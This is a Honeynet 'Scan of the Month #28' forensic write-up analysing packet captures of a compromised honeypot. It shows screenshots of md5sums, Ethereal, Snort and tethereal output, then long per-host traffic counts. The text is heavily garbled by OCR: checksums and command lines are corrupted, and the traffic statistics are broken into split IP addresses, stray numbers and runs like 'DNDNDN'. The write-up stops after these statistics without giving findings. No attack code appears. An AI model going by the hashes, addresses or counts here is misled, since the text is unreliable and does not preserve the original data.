Scan of the Month #28

Submitted by Rick Hayes

The Challenge

Members of the AT&T Mexico Honeynet captured a unique attack. As
common, what is interesting is not how the attackers broke in, but what
they did afterwards. Your mission is to analyze the network capture of
the attacker's activity and decode the attacker's actions. There are
two binary log files. Dayl captured the break in; Day3 captures some
unique activity following the compromise. The honeypot in question is
IP 192.168.100.28.

Analysis

Verification of the log signature

Analysis was performed entirely on a Windows XP machine. To begin the
analysis, first it was necessary to download the log and verify its
authenticity. I then had to extract the actual log must be from the
compressed archive:



" WINDOWS  System32h cmd.exe

C:xToolzssmdS=ms11 >mdS5sums —u G:A80TH~dayl.log.g=

MDSzums 1.1 freeware for Win?x/ME-/NT-2008-%P+
Copyright (C> 2081-2082 Jem Berkeszs — http:/ wwu.pc—tools.net/

72e58717915%42c 81 38ddPcee2b2bec31? davl.log.g=
C:%Tools'mdSsmsll>mdS5sums —u C:S50TH~day3.log.g=

MDS5zums 1.1 freeware for WinZ?x/ME-/NT.-2000.-%F+
Copyright <C> 2881-2882 Jem Berkes — http:/swuww.pc—tools.nets

afBah?5f41530fe3561h506h422ed636  day3d.log.g=
C:sToolssmdSsms11>_

Tools Used

During the analysis of this scan, we used the following tools:

Tool Description Location

md5sum Calculates a checksum of a http://www.pc—
file. Often used to verify tools.net/win32/freeware/md5sums/
downloads.

windump |Used to capture packets from |http://windump.polito.it/
the network, or to read
previously saved packets.

ethereal |Similar to tcpdump, but has http://www.ethereal.com
a GUI frontend, and several
helpful features.

snort A network based intrusion http://www.snort.org
detection system.

Process

First, I opened the log with Ethereal to begin the process of checking
for the operating system of the victim.




@ dayl.log - Ethereal ;Iilﬂ

File Edit Capture Display Tools Help

L]

Destination Infa

1 0 o f gu od il . in
2 0.1499%0 194.25.2.133 192.168.100.258 DN standard query response PTR p50B0B947.dip.t-dialin.ne
3 0.1495390 192.168.100.28 217.5.100.186 DN Standard guery A pS0B0ES47.dip.t-dialin. net
4 0.289981 217.5.100.184 152.168.100.28 DS standard query response A §0.128.185.71
5 270.041832 192.168.100.28 213.234,132.130 DS standard query PTR 99.121.123.62.7n-addr.arpa
6 270.201821  213.234.132.130 192.168.100.28 DhS Standard query response PTR ads1-62-123-121-99.d9a7.1
7 270.211820 192.168.100.28 213.234,128.211 DS standard query A ads1-62-123-121-99.dial. ipervia.it
8 270.371809  213.234.128,211 192,168, 100,25 DN standard query response, Mo such name
D 450.069714  192.168.100.28 168.95.1.14 DhS Standard query PTR 100.34.162.218. in-addr. arpa
10 450,299699 168.095.1.14 152.168.100.28 DS standard query response PTR 218-162-34-100.HINET-IP.h
11 630.097592  192.168.100.28 210.94.0.7 DNS standard query PTR 158.127.58.211. in-addr.arpa
12 630.287580 210.94.0.7 152.168.100.28 DNS Standard guery response
13 §30.287580 192.168.100.28 210,180, 98,69 DS standard query PTR 158,127.58.211. in-addr.arpa
14 630.467568 210.180.58. 6% 1%2.168.100.28 DHS Standard guery response
15 720.111536 192.168.100.28 200.33.146.213 DHS standard query PTR 136.90.67.200.in-addr. arpa
e TIN TET1EZ2A N0 22 1A/ 22 102 MER NN DR bl crandard mnoru rocnnnen /
=) I -
EFrame 1 (86 bytes on wire, 86 bytes captured) 4
HEthernet II, Src: 08:00:20:cl:76:19, Dst: 00:07:ec:h2:d0:0a
pestination: 00:07:ec:b2:do:0a (Cisco_hz:do:0al)
S e
Type: IP (0x0800)
EInternet Protocol, sro Addr: 192.168.100.28 (192.168.100.28), DsT Addr: 194.25.2.133 (194.25.2.133)
User Datagram Protocol, sSrc Port: 32789 (32789%9), Dst Port: domain (53)
HDbomain Mame System queryl
) I
------ [ Y
CH.DB. .. .q..d... J
0020 02 83 80 15 00 35 00 34 ae 34 Oe 2c 00 00 00 0L ..... 5.4 4.,
0030 00 00 00 00 00 00 02 37 31 03 31 38 35 03 31 32 ....... 7 1.185.12
0040 38 02 38 30 07 69 6e 2d 61 &4 &4 T2 04 61 F2 FO 5.80.7n- addr.arp V|

Filter | J Reset| Apply |Suurce Hardware Address (eth.src), B bytes

This yielded some information about the source and destinations. It
also allowed me to be able to see the TTL, window size, etc. I used
this information along with the Passive Fingerprinting Default TTL
values whitepaper to conclude the operating system of the honeypot.
After looking through Ethereal it became apparent that several of these
attempts were simply DNS queries and responses. Several interesting
frames were found that indicated more than DNS queries were being
performed. Two rather interesting packets were attempts to perform
NetBIOS queries. I decided to take the two logs and run them through
snort.



W WINDOWS  System32hcmd.exe - snort.exe -vde -r c:\50

C:Snort~hin>snort.exe —vwde -» c:*50TM~dayl.logdayl.log —c c:\snurt\etc\snurt.cll
onf —1 c:issnortslog .
Running in IDS mode

Log directory = c:“snort™log

TCPDUMP file reading mode.

Reading network traffic from “c:-50TM-~dayl.logsdayl.log” file.

snaplen = 1514

——== Initializing Snort ==—
Initializing Output Pluginst?
Initializing Preprocessors?
Initializing Plug—ins?
Parzing Rules file c:ssnort:etc™snort.conf

++++++++4+ 44+ 4+ 44 HEHE AR AR AR AR AR AR AR AR R
Initializing »ule chains...
Mo arguments to frag? directive, setting defaults to:
Fragment timeout: 68 seconds
Fragment memory cap: 4194384 hytes
Fragment min_ttl: a
Fragment ttl_limit: 5
Fragment Prohlems: @
Self preservation thPE“thd-
Self preservation bS]

This provided some assurances that what was visible with Ethereal was
certainly suspicious activity. Now I needed to see who the primary
participants were. So, I then ran the logs through tethereal to
determine this.

MWINDOWS \ System32' cmd.exe

C:“Perlsscripts>c:“Progra™ietherealstethereal.exe —nr c:sxsotm~dayllog~dayl.log
i perl sumsrcdst.pl > traffic.stats
tethereal: The file "c:ixsotm:dayllogsdayl.log'" does not exist.

C:sPerluscriptstc inProgra™l“ethereal“tethereal.exe —nr c:ssotmidavyl.logsdayl. log)
1

i perl sumsprcdst.pl > traffic.stats

C:wPerluscripts *dir
Uolume in drive G has no label.
Uolume Serial Number iz GBBD-S6F3

Directory of G:wPerl-uscripts

18:5%6 AM <DIR> .
18:56 AM <DIR> .-
18:54 AM 494 sumsrcdst.pl
18:57 AM 43 814 traffic.stats
2 Filed(=s> .5088 hytes
2 Dirds)d 17.751. 916 544 hytes free

C:wPerlsscripts>cisProgra™setherealstethereal .exe —ny c:issotmadayd.loghday3d.log

i perl sunsrcdst.pl > traffic.stats3

C:~Perluscripts>

Day 1: Protocol Statistics

206.252.192.195 -> 192.168.100.28 TCP 2162
192.168.100.28 -> 206.252.192.195 TCP 1928
61.219.90.180 -> 192.168.100.28 TCP 1879
192.168.100.28 -> 61.219.90.180 TCP 1853
62.211.66.53 -> 192.168.100.28 HTTP 1291
192.168.100.28 -> 61.134.3.11 ICMP 846
192.168.100.28 -> 217.116.38.10 ICMP 846
192.168.100.28 -> 62.211.66.53 TCP 819
192.18.99.122 -> 192.168.100.28 FTP-DATA 784

192.168.100.28 -> 192.18.99.122 TCP 707



148.
192.
192.

244.153.91 -> 192.168.100.28 DNS
168.100.28 -> 148.244.153.91 DNS

168.100.28 -> 80.117.14.44 Gryphon

80.117.14.44 -> 192.168.100.28 TCP

62.211.66.16 -> 192.168.100.28 FTP-DATA
80.117.14.44 -> 192.168.100.28 Gryphon

192.
192.
192.
200.
192.
192.
192.
192.
192.
192.
200.
192.
192.
140.
200.
192.

168.100.28 -> 80.117.14.44 TCP
168.100.28 -> 62.211.66.16 TCP
168.100.28 -> 200.33.146.213 DNS
33.146.213 -> 192.168.100.28 DNS
12.94.30 -> 192.168.100.28 DNS
168.100.28 -> 192.12.94.30 DNS
168.100.28 -> 192.31.80.30 DNS
31.80.30 -> 192.168.100.28 DNS
168.100.28 -> 140.135.18.25 DNS
168.100.28 -> 200.33.146.217 DNS
33.146.217 -> 192.168.100.28 DNS
168.100.28 -> 192.5.6.30 DNS
5.6.30 -> 192.168.100.28 DNS
135.18.25 -> 192.168.100.28 DNS
33.213.66 -> 192.168.100.28 DNS
168.100.28 -> 200.33.213.66 DNS

62.211.66.16 -> 192.168.100.28 TCP

192.
192.

35.51.30 -> 192.168.100.28 DNS
168.100.28 -> 192.35.51.30 DNS

63.250.206.138 -> 192.168.100.28 DNS

192.
192.
192.
192.
192.
192.
192.
192.
192
192.
192.
192.
192.
192.
192.
192.
206.

168.100.28 -> 63.250.206.138 DNS
168.100.196 -> 192.168.100.28 DNS
168.100.28 -> 192.168.100.196 DNS
18.99.122 -> 192.168.100.28 FTP
41.162.30 -> 192.168.100.28 DNS
100.59.110 -> 192.168.100.28 DNS
168.100.28 -> 192.26.92.30 DNS
168.100.28 -> 192.41.162.30 DNS

.26.92.30 -> 192.168.100.28 DNS

168.100.28 -> 192.33.14.30 DNS
168.100.28 -> 192.100.59.110 DNS
33.14.30 -> 192.168.100.28 DNS
42.93.30 -> 192.168.100.28 DNS
168.100.28 -> 192.42.93.30 DNS
54.112.30 -> 192.168.100.28 DNS
168.100.28 -> 192.54.112.30 DNS
98.114.20 -> 192.168.100.28 DNS

62.211.66.16 -> 192.168.100.28 FTP

192.
192.
192.
192.
192.
192.
210.
205.
192.
200.
210.
192.
192.

168.100.28 -> 206.98.114.20 DNS
52.178.30 -> 192.168.100.28 DNS
168.100.28 -> 200.33.148.193 DNS
168.100.28 -> 205.152.0.5 DNS
168.100.28 -> 192.52.178.30 DNS
168.100.28 -> 210.180.98.69 DNS
180.98.69 -> 192.168.100.28 DNS
152.0.5 -> 192.168.100.28 DNS
168.100.28 -> 210.94.0.7 DNS
33.148.193 -> 192.168.100.28 DNS
94.0.7 -> 192.168.100.28 DNS
168.100.28 -> 198.133.199.110 DNS
168.100.28 -> 62.211.66.16 FTP

454
405
257
255
174
163
146
140
53
52
52
52
51
51
44
38
37
36
36
34
32
32
30
29
29
26
26
25
25
24
21
21
21
21
21
21
21
21
20
20
18
18
18
18
18
17
17
17
17
17
17
17
17
17
17
16
15



192.168.100.28 -> 200.23.1.1 DNS
148.244.153.82 -> 192.168.100.28 DNS
200.23.1.1 -> 192.168.100.28 DNS
192.168.100.28 -> 192.18.99.122 FTP
206.98.114.10 -> 192.168.100.28 DNS
192.18.99.122 -> 192.168.100.28 TCP
192.168.100.28 -> 206.98.114.10 DNS
192.168.100.28 -> 128.63.2.53 DNS
192.168.100.28 -> 206.252.192.195 IRC
204.176.88.5 -> 192.168.100.28 ICMP
192.168.100.28 -> 66.28.255.130 ICMP
192.168.100.28 -> 64.15.251.198 ICMP
192.168.100.28 -> 148.244.153.82 DNS
128.63.2.53 -> 192.168.100.28 DNS
64.0.96.12 -> 192.168.100.28 ICMP
192.168.100.28 -> 213.61.6.2 ICMP
192.168.100.28 -> 212.62.17.145 ICMP
192.168.100.72 -> 192.168.100.28 DNS
64.14.117.10 -> 192.168.100.28 ICMP
213.61.6.2 -> 192.168.100.28 ICMP
192.168.100.28 -> 208.185.54.14 ICMP
63.218.7.130 -> 192.168.100.28 ICMP
192.168.100.28 -> 64.14.117.10 ICMP
64.15.251.198 -> 192.168.100.28 ICMP
192.168.100.28 -> 63.218.7.130 ICMP
192.168.100.28 -> 213.234.132.130 DNS
192.168.100.28 -> 192.168.100.72 DNS
208.185.54.14 -> 192.168.100.28 ICMP
66.28.255.130 -> 192.168.100.28 ICMP
192.168.100.28 -> 64.0.96.12 ICMP
213.234.132.130 -> 192.168.100.28 DNS
192.168.100.28 -> 204.176.88.5 ICMP
212.62.17.145 -> 192.168.100.28 ICMP
205.152.0.20 -> 192.168.100.28 DNS
192.168.100.28 -> 200.23.242.193 DNS
198.133.199.110 -> 192.168.100.28 DNS
192.168.100.28 -> 204.176.177.10 DNS
192.168.100.28 -> 205.152.0.20 DNS
200.23.242.193 -> 192.168.100.28 DNS
128.242.107.15 -> 192.168.100.28 DNS
204.176.177.10 -> 192.168.100.28 DNS
192.168.100.28 -> 204.70.57.242 DNS
204.70.57.242 -> 192.168.100.28 DNS
192.168.100.28 -> 192.58.128.30 DNS
132.248.253.1 -> 192.168.100.28 DNS
192.58.128.30 -> 192.168.100.28 DNS
192.168.100.28 -> 213.234.128.211 DNS
192.168.100.28 -> 193.0.0.193 DNS
193.0.0.193 -> 192.168.100.28 DNS
66.28.47.162 -> 192.168.100.28 ICMP
192.168.100.28 -> 66.28.47.162 ICMP
213.234.128.211 -> 192.168.100.28 DNS
192.168.100.28 -> 192.43.172.30 DNS
192.168.100.28 -> 168.95.1.14 DNS
168.95.1.14 -> 192.168.100.28 DNS
64.0.96.22 -> 192.168.100.28 DNS
192.168.100.28 -> 64.0.96.22 DNS

15
15
15
14
14
14
14
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
12
12
12
12
12
12
12
11
11
11
11
11
11
10
10
10
10
10
10
10
10
10
10
10



192.43.172.30 -> 192.168.100.28 DNS
200.33.146.201 -> 192.168.100.28 DNS
192.168.100.28 -> 200.33.146.201 DNS
192.168.100.28 -> 216.73.82.10 ICMP
63.210.142.26 -> 192.168.100.28 DNS
216.73.82.10 -> 192.168.100.28 ICMP
192.168.100.28 -> 61.144.145.243 TCP
192.48.79.30 -> 192.168.100.28 DNS
192.168.100.28 -> 64.14.76.206 DNS
192.168.100.28 -> 63.210.142.26 DNS
63.121.106.134 -> 192.168.100.28 DNS
192.168.100.28 -> 63.121.106.134 DNS
64.14.76.206 -> 192.168.100.28 DNS
61.144.145.243 -> 192.168.100.28 TCP
192.168.100.28 -> 192.48.79.30 DNS
206.79.230.10 -> 192.168.100.28 DNS
192.41.162.32 -> 192.168.100.28 DNS
192.168.100.28 -> 140.135.18.15 DNS
192.168.100.28 -> 192.168.100.198 DNS
192.168.100.28 -> 211.216.50.150 DNS
192.168.100.28 -> 64.15.251.221 DNS
192.168.100.28 -> 192.41.162.32 DNS
192.168.100.198 -> 192.168.100.28 DNS
192.168.100.28 -> 151.164.1.1 DNS
192.168.100.28 -> 206.79.230.10 DNS
151.164.1.1 -> 192.168.100.28 DNS
211.216.50.150 -> 192.168.100.28 DNS
64.15.251.221 -> 192.168.100.28 DNS
168.95.192.14 -> 192.168.100.28 DNS
192.168.100.28 -> 168.95.192.14 DNS
64.58.77.85 -> 192.168.100.28 DNS
192.168.100.28 -> 64.58.77.85 DNS
192.168.100.28 -> 211.216.50.130 DNS
192.168.100.28 -> 132.248.253.1 DNS
216.32.120.21 -> 192.168.100.28 DNS
192.168.100.28 -> 216.32.120.21 DNS
199.2.117.66 -> 192.168.100.28 DNS
140.135.18.15 -> 192.168.100.28 DNS
192.168.100.28 -> 209.132.1.28 DNS
192.168.100.28 -> 199.2.117.66 DNS
192.55.83.30 -> 192.168.100.28 DNS
209.132.1.28 -> 192.168.100.28 DNS
211.216.50.130 -> 192.168.100.28 DNS
192.168.100.28 -> 192.55.83.30 DNS
192.168.100.28 -> 65.54.248.222 DNS
65.54.248.222 -> 192.168.100.28 DNS
192.168.100.28 -> 210.81.13.179 DNS
206.252.192.195 -> 192.168.100.28 IRC
216.32.126.150 -> 192.168.100.28 DNS
192.168.100.28 -> 12.129.72.181 DNS
207.82.198.150 -> 192.168.100.28 DNS
192.168.100.28 -> 216.32.65.14 DNS
216.32.65.14 -> 192.168.100.28 DNS
206.252.192.5 -> 192.168.100.28 DNS
12.129.72.181 -> 192.168.100.28 DNS
192.168.100.28 -> 207.82.198.150 DNS
192.168.100.28 -> 206.252.192.5 DNS
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192.
216
192.
192.
192.
192.
192.
192.
192.
192.
167
192.
203

206.
207
210.
192.
200.
192.
207.
192.
192.

151.
192.
212
192.
213.
200
192.
211.
192.

151.
192.
192.
192.
192.
192.
192.
2009.
209.
204
208
192.
192.
192.
192.
192.
208.
192.

.255

168.

.239.

168.
168.
168.
168.
168.
168.
168.
115.

.216.

168.

100.28 -> 216.239.38.10 DNS
38.10 -> 192.168.100.28 DNS

100
100.
100
100
100
100.
100
106.
196.
100.

.234.

216.32.126.150 DNS
207.248.240.42 DNS
167.216.196.131 DNS
192.115.106.11 DNS
203.255.234.103 DNS
63.123.77.194 ICMP
66.28.255.153 DNS

192.168.100.28 DNS

131 -> 192.168.100.28 DNS

.28 >
28 —>
.28 =>
.28 =>
.28 —>
28 —>
.28 >
11 -—>
28 —>

205.138.3.20 DNS

103 -> 192.168.100.28 DNS
63.123.77.194 -> 192.168.100.28 ICMP
192.168.100.28 -> 206.252.192.6 DNS
205.138.3.20 -> 192.168.100.28 DNS
66.28.255.153 -> 192.168.100.28 DNS
252.192.6 -> 192.168.100.28 DNS

.248.240.42 -> 192.168.100.28 DNS

81.13.179 -> 192.168.100.28 DNS
168.100.28 -> 208.211.225.10 DNS
34.163.34 -> 192.168.100.28 DNS
168.100.28 -> 211.47.45.22 DNS
46.138.20 -> 192.168.100.28 DNS
168.100.28 -> 192.115.106.10 DNS
168.100.28 -> 151.164.1.7 DNS
63.218.7.158 -> 192.168.100.28 DNS
164.1.7 -> 192.168.100.28 DNS
168.100.28 -> 169.158.128.136 DNS

.62.17.141 -> 192.168.100.28 DNS

168.100.28 -> 209.185.188.14 DNS
199.144.151 -> 192.168.100.28 DNS

.23.242.201 -> 192.168.100.28 DNS

168.100.28 -> 212.62.17.141 DNS
47.45.22 -> 192.168.100.28 DNS
168.100.28 -> 64.14.117.6 DNS
64.24.196.50 -> 192.168.100.28 TCP
192.168.100.28 -> 208.254.75.130 ICMP
64.14.117.6 -> 192.168.100.28 DNS
99.125.2 -> 192.168.100.28 DNS

208.185.54.23 DNS
200.23.242.201 DNS
207.46.138.20 DNS
64.24.196.50 TCP
209.1.235.120 DNS
213.199.144.151 DNS

1.235.120 -> 192.168.100.28 DNS

192.168.100.28 DNS
192.168.100.28 DNS
192.168.100.28 DNS
192.168.100.28 DNS
204.253.104.10 DNS
63.218.7.158 DNS
194.25.0.125 DNS
151.99.125.2 DNS

54.23 -> 192.168.100.28 DNS
100.28 -> 200.34.163.34 DNS

168.100.28 ->
168.100.28 ->
168.100.28 ->
168.100.28 ->
168.100.28 ->
168.100.28 ->
185.188.14 ->
.253.104.10 ->
.211.225.10 ->
115.106.10 ->
168.100.28 ->
168.100.28 ->
168.100.28 ->
168.100.28 ->
185.

168.
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192.

208

192.

203

203.
192.

137
193

192.
192.
192.
192.
192.

204

192.
193.
192.
192.
192.

168
.254
168
.248
199
168

0.0

168.
168.
168.
168.
168.
.248.
168.

168.
168.
168.

.100.

28

.75.130

.100.
.240.

28
31

-> 192.149.252.21 DNS
-> 192.168.100.28 ICMP
-> 169.158.128.156 DNS
-> 192.168.100.28 DNS

.107.187 -> 192.168.100.28 ICMP
.100.28 -> 202.130.158.130 ICMP
.39.1.3 -> 192.168.100.28 DNS
.205.245.5 -> 192.168.100.28 DNS
64.124.186.66 -> 192.168.100.28 ICMP
200.33.148.201 -> 192.168.100.28 DNS
216.39.69.65 -> 192.168.100.28 ICMP
62.211.66.53 -> 192.168.100.28 TCP

163 -> 192.168.100.28 DNS

100.
100.
100.
100.
100.

100
.237
100
100
100

28
28
28
28

36.130
.28

->

.28
.28
.28

64.160.228.206
128.8.10.90 ->
192.168.100.28
66.236.129.66 -> 192.168.100.28 ICMP
192.168.100.28 -> 195.20.224.98 DNS
24.167.44.129 -> 192.168.100.28 TCP

192.
192.
192.
192.
202.
192.
203.
192.
192.

216

202.
192.

-> 67.195.152.135 TCP
-> 66.218.71.63 DNS
-> 192.83.166.11 DNS
-> 203.197.173.129 ICMP
-> 192.168.100.28 DNS
-> 63.215.198.79 DNS
192.168.100.28 DNS

-> 216.21.234.73 DNS
-> 202.12.28.131 DNS
-> 203.248.240.31 DNS
-> 192.168.100.28 TCP
192.168.100.28 DNS

-> 193.0.0.237 DNS

168.100.28 -> 128.8.10.90 DNS
168.100.28 -> 129.70.132.100 DNS
36.125.2 -> 192.168.100.28 DNS
168.100.28 -> 202.54.111.72 ICMP
54.111.72 -> 192.168.100.28 ICMP
168.100.28 -> 203.239.31.60 TCP
197.173.129 -> 192.168.100.28 ICMP
168.100.28 -> 64.124.186.66 ICMP
168.100.28 -> 217.12.4.104 DNS

.21.234.73 -> 192.168.100.28 DNS

12.28.131 -> 192.168.100.28 DNS
168.100.28 -> 64.160.228.206 TCP

64.231.37.135 -> 192.168.100.28 TCP
.214.125.74
.46.245.230

211
207
192
211

192.
192.
192.
192.
192.

216

192
212
192
192

.168

.100

.14.0.99

168.
168.
168.
168.
168.

100
100
100
100
100

.28

->

.28
.28
.28
.28
.28

-> 192.168.100.28 TCP

-> 192.168.100.28 DNS

-> 65.203.232.2 ICMP
192.168.100.28 ICMP

-> 192.31.80.32 DNS

-> 203.199.107.187 ICMP
-> 209.10.34.55 DNS

-> 192.168.100.158 Syslog
-> 192.36.125.2 DNS

.34.88.17 -> 192.168.100.28 ICMP
67.36.28.116 -> 192.168.100.28 TCP
.100.28 -> 217.5.100.185 DNS
.82.90 -> 192.168.100.28 DNS
.100.28 -> 137.39.1.3 DNS
.100.28 -> 66.236.129.66 ICMP

.168
.113
.168
.168
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203.239.31.60 -> 192.168.100.28 TCP
216.74.133.194 -> 192.168.100.28 ICMP
192.168.100.28 -> 24.167.44.129 TCP
192.149.252.21 -> 192.168.100.28 DNS
195.20.224.98 -> 192.168.100.28 DNS
202.130.158.130 -> 192.168.100.28 ICMP
192.168.100.28 -> 203.89.210.82 ICMP
192.168.100.28 -> 193.205.245.5 DNS
64.14.42.16 -> 192.168.100.28 ICMP
192.168.100.28 -> 216.34.88.17 ICMP
192.168.100.28 -> 67.36.28.116 TCP
192.168.100.28 -> 64.231.37.135 TCP
192.168.100.28 -> 192.168.100.163 DNS
217.12.4.104 -> 192.168.100.28 DNS
192.168.100.28 -> 211.214.125.74 TCP
192.31.80.32 -> 192.168.100.28 DNS
65.203.232.2 -> 192.168.100.28 ICMP
67.195.152.135 -> 192.168.100.28 TCP
192.168.100.28 -> 204.248.36.130 DNS
192.168.100.28 -> 216.21.226.73 DNS
192.168.100.28 -> 64.14.42.16 ICMP
192.168.100.28 -> 216.74.133.194 ICMP
192.168.100.28 -> 212.113.82.90 DNS
203.89.210.82 -> 192.168.100.28 ICMP
192.168.100.28 -> 216.39.69.65 ICMP
192.168.100.28 -> 193.205.245.8 DNS
63.215.198.79 -> 192.168.100.28 DNS
192.168.100.28 -> 211.14.0.99 ICMP
192.168.100.28 -> 200.33.148.201 DNS
217.5.100.185 -> 192.168.100.28 DNS
192.168.100.28 -> 207.46.245.230 DNS
193.205.245.8 -> 192.168.100.28 ICMP
129.70.132.100 -> 192.168.100.28 DNS
66.218.71.63 -> 192.168.100.28 DNS
192.83.166.11 -> 192.168.100.28 DNS
192.168.100.28 -> 64.12.51.132 DNS
216.136.155.4 -> 192.168.100.28 DNS
192.168.100.28 -> 192.149.252.22 DNS
192.168.100.28 -> 209.164.7.66 ICMP
192.168.100.28 -> 216.73.83.10 ICMP
192.168.100.28 -> 216.35.213.248 DNS
192.168.100.28 -> 12.110.133.131 DNS
128.121.101.11 -> 192.168.100.28 DNS
192.168.100.28 -> 203.248.240.141 DNS
192.168.100.28 -> 64.37.246.2 ICMP
192.168.100.28 -> 213.61.6.5 DNS
63.241.199.50 -> 192.168.100.28 DNS
192.168.100.28 -> 148.244.240.195 DNS
192.94.163.152 -> 192.168.100.28 DNS
192.5.5.241 -> 192.168.100.28 DNS
192.168.100.28 -> 209.41.31.13 DNS
206.65.191.194 -> 192.168.100.28 ICMP
192.168.100.28 -> 148.244.153.69 DNS
213.133.105.2 -> 192.168.100.28 DNS
192.168.100.28 -> 203.73.24.8 DNS
192.168.100.28 -> 63.215.198.78 DNS
207.44.0.1 -> 192.168.100.28 DNS
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134.
192.
210.
192.

106.1.7 -> 192.168.100.28 DNS
109.42.4 -> 192.168.100.28 DNS
65.0.28 -> 192.168.100.28 DNS
168.100.28 -> 202.30.50.50 DNS

63.209.5.253 -> 192.168.100.28 DNS

192.
.20.225.40 -> 192.168.100.28 DNS
192.
192.
192.
206.
192.
152.
192.
205.

195

168.100.28 -> 209.209.37.11 DNS

168.100.28 -> 164.124.101.31 DNS
168.100.28 -> 210.65.0.28 DNS
168.100.28 -> 38.8.50.2 DNS
65.170.100 -> 192.168.100.28 DNS
168.100.28 -> 200.10.202.3 DNS
163.159.232 -> 192.168.100.28 DNS
168.100.28 -> 213.133.105.2 DNS
188.157.232 -> 192.168.100.28 DNS

64.28.86.226 -> 192.168.100.28 ICMP

192.
192.

168.100.28 -> 207.68.128.151 DNS
168.100.28 -> 62.211.66.53 HTTP

63.215.198.78 -> 192.168.100.28 DNS

192.
192.
207.
192.
200.
209.
206.
205.
192.
194.
192.
.226.6.178 -> 192.168.100.28 DNS
192.
192.
192.

159

168.100.28 -> 206.65.183.71 DNS
149.252.22 -> 192.168.100.28 DNS
158.192.40 -> 192.168.100.28 DNS
168.100.28 -> 64.215.170.28 DNS
73.172.25 -> 192.168.100.28 DNS
164.7.66 -> 192.168.100.28 ICMP
65.183.71 -> 192.168.100.28 DNS
180.85.6 -> 192.168.100.28 DNS

168.100.28 -> 216.73.84.10 ICMP
85.119.1 -> 192.168.100.28 DNS

168.100.28 -> 207.158.192.40 DNS

168.100.28 -> 216.136.217.67 DNS
168.100.28 -> 216.239.36.10 DNS
168.100.28 -> 200.73.172.25 DNS

62.53.3.68 -> 192.168.100.28 DNS

192.
2009.
203.
192.
192.
128.
141.
.239.32.10 -> 192.168.100.28 DNS
.209.37.11 -> 192.168.100.28 DNS
192.
204.
192.
192.
192.

216
209

168.100.28 -> 205.180.85.6 DNS
10.34.55 -> 192.168.100.28 DNS
73.24.8 -> 192.168.100.28 DNS
168.100.28 -> 63.241.199.50 DNS
168.100.28 -> 205.188.157.232 DNS
9.0.107 -> 192.168.100.28 DNS
1.27.248 -> 192.168.100.28 DNS

168.100.28 -> 134.106.1.7 DNS
69.234.1 -> 192.168.100.28 DNS
168.100.28 -> 217.32.247.132 DNS
168.100.28 -> 194.246.96.49 DNS
168.100.28 -> 192.168.100.71 DNS

63.236.5.157 -> 192.168.100.28 DNS

204.
192.
192.
.203.230.10 -> 192.168.100.28 DNS
192.
4.2.
192.

192

74.101.1 -> 192.168.100.28 DNS
168.100.28 -> 168.95.192.2 DNS
168.100.28 -> 192.112.36.4 DNS

168.100.28 -> 194.246.96.79 DNS
49.2 -> 192.168.100.28 DNS
168.100.28 -> 207.44.0.1 DNS

DNDNDNNDDNDNDDNDNDDNDDNDDNDN

N

DNDNODNNDNNDDNODNNDNNDNDNDNNDNNDNDNDNDNDNDNDMNDNDNDNDDNDDN

DNDNONNNDNNDDNODNDNDNDNDNDNDNDNDNDDNDDN



192.168.100.28 ->
192.168.100.28 ->

192.168.100.28 ->
192.168.100.28 ->
216.136.217.67 ->

148.
192.
128.
192.
192.

244.249.
203.230.
121.101.
5.5.241
168.100

75 DNS
10 DNS
11 DNS
DNS

.28 DNS

200.33.246.1 -> 192.168.100.28 DNS
38.8.50.2 -> 192.168.100.28 DNS
192.168.100.28 -> 202.12.29.60 DNS
192.168.100.28 -> 211.216.50.160 DNS
192.168.100.28 -> 151.99.125.138 DNS

216.

35.213.248 -> 192.168.100.28 DNS

194.246.96.79 -> 192.168.100.28 DNS
64.95.61.36 DNS
63.236.5.157 DNS

192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->

66.135.207.138 ->
192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->
205.188.

164.124.

209.
192.168.100.28 ->
148.244.153.69 ->

192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->

192.
192.
216.
192.
216.
159

192.
192.
206.
150.
4.2.
204.
165.

36.148.17 DNS
168.100.28 DNS
136.155.4 DNS
33.4.12 DNS

136.217.66 DNS

.226.6.178 DNS
132.235 -> 192.168.100.28 DNS
101.31 -> 192.168.100.28 DNS
41.31.13 -> 192.168.100.28 DNS

94.163.152 DNS
168.100.28 DNS
65.191.194 ICMP
100.2.3 DNS
49.2 DNS
69.234.1 DNS
193.217.2 ICMP

168.95.192.2 -> 192.168.100.28 DNS
192.168.100.28 -> 128.9.0.107 DNS
192.168.100.28 -> 141.1.27.248 DNS
192.168.100.28 -> 195.20.225.40 DNS
64.215.170.28 -> 192.168.100.28 DNS
203.248.240.141 -> 192.168.100.28 DNS
150.100.2.3 -> 192.168.100.28 DNS

192.168.100.28 ->
192.168.100.28 ->
66.135.207.137 ->
192.168.100.28 ->
192.168.100.28 ->
192.168.100.28 ->
213.
195.
202.

61.6.5 -> 192.
129.12.74 -> 192.168.100.28 DNS
12.29.60 -> 192.168.100.28 DNS

209
128
192.
192.
205.
151.
168.

.209.
.242.

37.6 DNS
107.15 DNS
168.100.28 DNS
109.42.4 DNS
188.132.235 DNS
99.250.2 DNS
100.28 DNS

192.168.100.28 -> 62.53.3.68 DNS
192.168.100.28 -> 209.10.66.55 DNS

207.

216.136.217.66 —>
192.168.100.28 ->
12.110.133.131 ->
192.168.100.28 ->
192.168.100.28 ->

68.128.151 -> 192.168.100
64.95.61.36 -> 192.168.100.28

192.
152.
192.
208.

.28 DNS
DNS
168.100.28 DNS
163.159.232 DNS
168.100.28 DNS
225.197.194 ICMP

66.135.207.138 DNS
165.193.217.2 -> 192.168.100.28 ICMP
192.36.148.17 -> 192.168.100.28 DNS
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12.47.217.11 -> 192.168.100.28 DNS
192.168.100.28 -> 66.135.207.137 DNS
192.168.100.28 -> 206.65.170.100 DNS
216.64.158.11 -> 192.168.100.28 DNS
148.244.153.69 -> 192.168.100.28 ICMP
217.32.247.132 -> 192.168.100.28 DNS
4.22.49.75 -> 192.168.100.28 DNS
192.168.100.28 -> 12.47.217.11 DNS
192.168.100.28 -> 130.206.1.2 DNS
192.168.100.28 -> 216.64.158.11 DNS
64.12.51.132 -> 192.168.100.28 DNS
151.99.125.138 -> 192.168.100.28 DNS
192.168.100.28 -> 200.33.246.1 DNS
192.168.100.28 -> 4.22.49.75 DNS
